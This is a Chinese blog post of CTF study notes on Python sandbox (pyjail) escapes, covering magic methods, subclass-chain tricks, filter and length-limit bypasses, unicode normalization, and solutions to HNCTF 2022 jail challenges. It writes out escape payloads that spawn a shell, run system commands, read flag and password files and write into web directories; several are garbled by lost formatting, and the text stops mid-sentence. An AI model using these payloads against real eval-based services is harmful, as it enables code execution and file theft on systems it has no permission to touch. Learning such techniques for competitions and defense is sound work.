参考链接:
https://note.tonycrane.cc/ctf/misc/escapes/pysandbox/
https://ctf-wiki.org/pwn/sandbox/python/python-sandbox-escape/
https://www.cnblogs.com/mumuhhh/p/17811377.html
https://www.bilibili.com/video/av1506392148/
https://dummykitty.github.io/python/2023/05/29/python-沙箱逃逸原理.html
来自CTFWiki的解释:所谓沙箱逃逸就是绕过模拟的python终端,最终实现命令执行
Python特性,魔术方法及魔术属性
Python所有的类均继承自object基类,python中的一切都是对象特性,带有继承的特性更多
魔术方法 | 魔术属性 |
---|---|
init | 对象初始化方法,在创建对象时调用 |
repr | 返回对象的"官方"字符串表达式 |
str | 返回对象的"非正式"或友好字符串表达式 |
len | 返回对象长度 |
getitem | 获取对象指定键的值 |
setitem | 设置对象指定键的值 |
delitiem | 删除对象指定键的值 |
iter | 返回一个迭代器对象 |
contains | 检查对象是否包含指定元素 |
call | 实例对象作为函数调用时调用 |
base | 返回当前类的基类,如str.__base__会返回<class 'object'> |
subclasses() | 查看当前子类组成列表 |
builtins | 以一个集合形式查看其引用 |
getattr,setattr,delattr | 处理对象属性获取,设置和删除 |
enter,exit | 定义在使用with语句时对象上下文管理行为 |
globals | 返回所有全局变量的函数 |
locals | 返回所有局部变量的函数 |
import | 载入模块的函数,例如import os等价于os=import('os') |
file | 该变量指示当前运行代码所在路径 |
_ | 该变量返回上一次运行python语句结果,注意:该变量仅在运行交互式终端时产生,在运行代码文件时不会有此变量 |
chr,ord | 字符与ASCII码转换函数 |
dir | 查看对象属性和方法 |
doc | 类的帮助文档,默认类均有帮助文档,对于自定义类,需要自己实现 |
Pyjail基础解法,payload构造
Python导入模块的三种方法:
- import xxx
- from xxx import
- import('xxx')
附加:路径引用,例如:import sys->sys.modules['os']='/user/lib/python2.7/os.py->import os
基础payload
print(open('/flag').read())
__import__('os').system('cat flag')
__import__('os').system('sh')
#读文件
().__class__.__bases__[0].__subclasses__()[40]('\etc\password').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input','w').write('')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()')
eval和evec
eval(expression[, globals[, locals]])
exec(expression[, globals[, locals]])
'''
用法基本相似,
expression执行表达式,
globals全局变量(必须字典),
locals局部变量(任意mapping object,一般是字典)
不同点:
eval将表达式计算出来,结果返回,不会影响当前环境
exec将表达式作为py语句运行,可以进行赋值等操作(题目中不常见)
'''
使globals,locals为空字典访问不到全局变量和局部变量,从而构造沙箱
ast.literal_eval更加的安全,因此题目碰到这个基本就不是沙箱逃逸了
Pyjail绕过方法
基于长度限制的绕过
- help
输入help(),这里字符串长度6会进入正常调用eval函数,在help交互式下,输入任意模块名称得该模块的帮助文档,如sys,在Linux中,呈现帮助文档时,实际调用系统的less或more命令,利用这两个命令执行本地命令特性获取shell,继续按#!,执行外部命令sh即可(!ls,!cat flag) - breakpoint()
该函数在程序执行任何位置调用,当程序执行到这个位置时,它将暂停并打开交互式调试器
list input_data = import('os').system('sh') - 多次交互进行拼接
"_"函数字符拼接
'00'
_+' aaa'
+' bbb'
eval()
基于字符串匹配过滤的绕过
所有数字被禁用
- 函数返回
0:int(bool([])),Flase,len([]),any(())
1:int(bool([""])),True,all(()),int(list(dict(aɔ=())).pop()).pop()) - 字符串取整
len(repr(True)),len(repr(bytearray)) - len+dict+list
0->len([])
2->len(list(dict(aa=()))[len([])])
3->len(list(dict(aaa=()))[len([])])
属性名,过滤class,import等 - getattr函数:获取对象属性和方法
- __getattribute__函数
- __getattr__函数
- __globals__替换
- mro,bases,__base__互换
基于多行限制的绕过
- exec
eval("exec('import("os")\nprint(1)')") - compile
eval('''eval(compile('print("hello world");print("heyy")','','exec'))''') - 海象表达式
eval('[a:=import("os"),b:=a.system("id")]')
基于模块删除绕过
基于继承链获取
所有类的基类都是object
查看变量所属的类(().class)
根据变量的类得到其所属的类(().class.bases)
反查object类的子类组成列表(().class.bases[0].subclasses())
(().class.base.subclasses())
获取当前Python环境中所有对象的子类列表
[].class.base.subclasses()[40]获得第40个子类
python2与python3差异
python2中file类可以直接用来读取文件
[].class.bases[0].subclasses()40.read()
python3中file类已经没有了,用<class'_frozen_importlib_external.FileLoader'>读取文件
{{().class.bases[0].subclasses()[79]"get_data"}}
{{().class.bases[0].subclasses()79.communicate()[0]}}
内建函数eval函数执行命令
{{".class.bases[0].subclasses()[166].init.globals__['builtins']'eval'}}
几个含有eval函数的类:
warings.catch_warnings
WaringMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
unicode绕过
Python3开始支持非ASCII字符的标识符,也就是说,可以使用Unicode字符作为Python变量名,函数名等。python在解析代码时,可以使用Unicode Normalization From KC(NTKC)规范化算法,将一些视觉上相似的Unicode字符统一为一个标准化
input
python2中,input函数从标准输入接收输入并自动eval求值,返回所求值;raw_input函数从标准输入接收输入,返回输入字符串
python3中,input函数从标准输入接收输入返回输入字符串
python2 input() = python2 eval(raw_input()) = python3 eval(input())
对于python2的input,相当于存在命令执行,可以rce
获取全局变量的方法
函数利用:vars(),globals()
help():进入help,查__main__
例题
[HNCTF 2022 Week1]calc_jail_beginner(JAIL)
#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`
WELCOME = '''
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))
签到,open('flag').read()
[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)
#the function of filter will banned some string ',",i,b
#it seems banned some payload
#Can u escape it?Good luck!
def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | /_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_||_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
过滤部分符号,之前有讲过字符串匹配,运用chr方法拼接,open(chr(102)+chr(108)+chr(97)+chr(103)).read()
[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)
#the length is be limited less than 13
#it seems banned some payload
#Can u escape it?Good luck!
WELCOME = '''
_ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |/ /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
限制输入长度小于等于13,直接使用eval方法逃逸,eval(input())进入交互状态,open('flag').read()
[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL)
#!/usr/bin/env python3
WELCOME = '''
_ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ ||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
依旧是限制输入长度,这次限制更高要小于等于7,想到之前讲到的help()方法,赶紧试一下
[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)
#the length is be limited less than 13
#it seems banned some payload
#banned some unintend sol
#Can u escape it?Good luck!
def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)
WELCOME = '''
_ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | |__ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | ) | | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ | / / |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |/ /_ _ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
禁用"exec","input","eval"并且输入限制小于等于13,使用help()方法发现在进入!阶段会出现错误,想想我们还有unicode方法
这里粘贴一个unicode脚本:
from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict
lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
for i in range(0x110000):
if normalize("NFKC", chr(i)) == char:
dic[char].append(chr(i))
if len(dic[char]) > 9:
break
print(dic)
用
标签:__,Python,import,print,eval,pyjail,沙箱,input,___ From: https://www.cnblogs.com/N1ng/p/18491520